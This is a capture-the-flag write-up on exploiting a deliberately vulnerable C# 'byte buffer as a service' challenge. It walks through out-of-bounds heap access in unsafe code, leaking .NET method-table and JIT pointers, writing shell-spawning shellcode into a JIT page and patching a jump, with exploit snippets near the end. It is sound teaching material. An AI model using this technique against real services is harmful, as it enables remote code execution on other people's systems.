OverTheWire Advent 2019 - Unmanaged (.NET/pwn)


I've made a Byte Buffer as a Service (BBAAS)! The service is written in C#, but To avoid performance penalties, we use unsafe code which should have comparable performance to C++! Service: nc 1208


The question comes in the form of a C# project for Linux with a file Program.cs containing the source code for the project.

public static int Main(string[] args)
    // read from stdin
    BinaryReader reader = new BinaryReader(Console.OpenStandardInput(0));
    // write to stdout
    BinaryWriter writer = new BinaryWriter(Console.OpenStandardOutput(0));
    List<FastByteArray> arrays = new List<FastByteArray>();

    while (true)
        byte action = reader.ReadByte(); // first byte is action
        // Allocate new byte array
        if (action == 1)
            byte length = reader.ReadByte();
            // add FastByteArray of size 0 - 255 (random bytes)
            arrays.Add(new FastByteArray(length));
        // Write a section of a byte array to stdout
        else if (action == 2)
            byte index = reader.ReadByte();
            byte offset = reader.ReadByte();
            byte size = reader.ReadByte();
            arrays[index].Write(offset, size, writer);
        // Read into bytearray from stdin
        else if (action == 3)
            byte index = reader.ReadByte();
            byte offset = reader.ReadByte();
            byte size = reader.ReadByte();
            // no check of offset or size here means arbitrary mem write
            arrays[index].Read(offset, size, reader);

Looking through this file, we see that the program reads endlessly from stdin and does 1 of 3 things based on input:

  • allocate a new FastByteArray (regular byte array wrapped in an unsafe block) of a given size and append it to a FastByteArray List

  • read a FastByteArray from the list at a given index and offset into the array

  • write new content of a given length to a FastByteArray

Each input can only be a single byte, so any offset, length, or index given can be at most 0xff (255). Normally there would be no exploit here since the FastByteArray class is a normal implementation for a byte array, but the unsafe blocks the class has been wrapped in has disabled bounds-checking. This means we can read and write outside of the bounds of our array, potentially modifying some important header data in the heap and achieving RCE.

As with most heap-based exploits, we're looking for a way to overwrite a pointer in the heap that gets dereferenced to a location in an executable region of memory and then write our shellcode there. We already have out of bounds read and write access so now we just need a pointer to executed memory to write our shellcode to. Inspecting the heap memory of the dotnet binary is difficult with just GDB, so I used a Microsoft-provided tool dotnet-dump to dump labelled heap memory at runtime. Using the command dumpheap we can see the heap layout when we create several FastByteArrays and also see how they're located at runtime. Below is a portion of the heap at runtime, which contains some of our allocated FastByteArray[]. Using the dumpmt command on the provided MT addresses, we can figure out the structure of our array.

Address in heap MT address Size Class
00007f1894008c08 00007f18b91214c0 124 Byte[] (the one we write to)
00007f1894008c88 00007f18b91214c0 25 Byte[]
00007f1894008ca8 00007f18b91214c0 25 Byte[]
00007f1894008cc8 00007f18b9221288 24 FastByteArray
00007f1894008ce0 00007f18b91214c0 124
00007f1894008d60 00007f18b91214c0 25
00007f1894008d80 00007f18b91214c0 25
00007f1894008da0 00007f18b9221288 24
00007f1894008db8 00007f18b91214c0 124

The MT address is the address to the method table for the given object at this location. This table contains pointers to the locations of additional metadata for this class, including parent classes, EEClass (which holds metadata on the class such as number methods, size, etc), source module, and JIT-compiled methods among other things. Using the telescope command in GEF, we can see the structure of this table (unlabelled data/pointers is unknown):

+0x0000: 0x0000001801000000
+0x0008: 0x0000000400034488
+0x0010: Pointer to parent type
+0x0018: Pointer to module -> several JIT address pointers here
+0x0020: 0x00007f38c3f112f0
+0x0028: Pointer to EEClass
+0x0030: 0x00007f38c3d8f608
+0x0038: 0x0000000000000000
+0x0040: 0x00007f38c3f112d0
+0x0048: 0x00007f38c3d80090

Reading the method table during execution of the given program can be done thanks to the heap structure of each object in the heap:

0x0: *MethodTable for object type
0x8: private variable(s) in object (or size if array of object)
object data

The FastByteArray object in our heap stores two useful pointers to us: its method table and a pointer to the Byte[] we write to. During program execution, finding the Byte[] we read and write to is done by dereferencing the pointer in the FastByteArray object. If we overwrite this pointer with a different pointer, we'll end up having read/write access to any region of memory we want.


We can use any of the many JIT addresses referenced in the method table to get a JIT address to write to. However, we need a pointer to a JIT address that's called during execution for us to place our shellcode at. Unfortunately, the dotnet runtime has a complex system for storing pointers to methods, so finding a location where code is executed can be tricky. I've listed a couple methods to do this below that I've either found or seen elsewhere:

  • Use backtracing to find a Common Language Runtime (CLR) function that's called, and find its location using a series of reads through the Global Offset Tables of different shared objects

  • Write shellcode to any JIT address, then follow program execution and modify heap pointers to manipulate what address to execute

  • Set a watchpoint on a FastByteArray and backtrace to find the JIT address of the read/write method (simplest method my teammate came up with)

  • Remove execute permissions of all JIT pages and see where the program segfaults for an executed JIT address (my method and the only method I go into detail for)

For any of these methods, getting the JIT address means we know that function's location during every program run since we can compute the offset into the JIT page for that address on every run. Since we have other pointers to this same JIT page, we can just do KNOWN_JIT_ADDR - JIT_PAGE_TOP + TARGET_JIT_ADDR_OFFSET to get the address for that run of the program.

In GEF I used vmmap to find all JIT pages during program execution and then use

call (size_t) mprotect(JIT page start, JIT page size, 3)

to set the page to RW only. Then when I ran the program it would segfault at the first access of a JIT page, giving me the address of an executed instruction.


Unfortunately, this first stop happens during the loop that reads from stdin, which all methods trigger. If I attempt to write over instructions at this address, I'd end up corrupting my program execution as each byte is written. In order to avoid this, I wrote my shellcode to a nearby location to the JIT address and then modified a nearby jump instruction to jump to my shellcode instead. Changing a short jump is a 1-byte write, so it doesn't corrupt our program execution. The brunt of my exploit is located in the snipped below (and the full exploit can be found here).

00007fb352321288 - fastbytearray MT (+32 from target addr) ->
    0x00007fb352321268 - part of unknown MT ->
        0x00007fb3521a4fe0 (+210 from target JIT address) ->
            0x7fb3521a4f0e (target JIT address) <- write shellcode here

- read fastbytearray MT
- fastbytearray MT - 32 = location of JIT addr
- read location of JIT addr
- JIT addr - 210 = target JIT addr (+18 for jump instruction location)
- write shellcode to nearby unused address
- overwrite short jump's offset byte
- run any command

array_size = 100


for _ in range(15):

read(1, array_size + 76, 8)
# read MT address for FastByteArray
fba_mt = u64(recv().ljust(8, "\x00"))
# pointer to address in used JIT page
jit_addr = read_any(fba_mt - 32)
# address in JIT page to short jump instruction called for all r/w operations
target_addr = u64(jit_addr) - 192
print "short jump instruction at: ", hex(target_addr)

shellcode = asm(shellcraft.amd64.linux.sh())
shellcode_addr = target_addr + 115  # I've stopped giving a fuck

write_any(shellcode_addr, shellcode, size=len(shellcode))

# modify short jump to go to unused code area (offset 115 from eip)
write_any(target_addr + 1, "\x71", size=1)


Running this against the server, we get a shell and then using cat flag.txt we get the flag: AOTW{1snt_c0rrupt1nG_manAgeD_M3m0ry_easier_than_y0u_th1nk?}


This is one of the best kinds of questions to get on a CTF. While it does force you to step outside of your comfort zone and work with uncommon frameworks/tools like the dotnet ecosystem, there's a lot of freedom in what you can do to get flag. By completing this problem, I've learned significantly more about dotnet and JIT-compiled runtimes without feeling like I was spending a huge amount of time getting tricked, going off course, or not learning.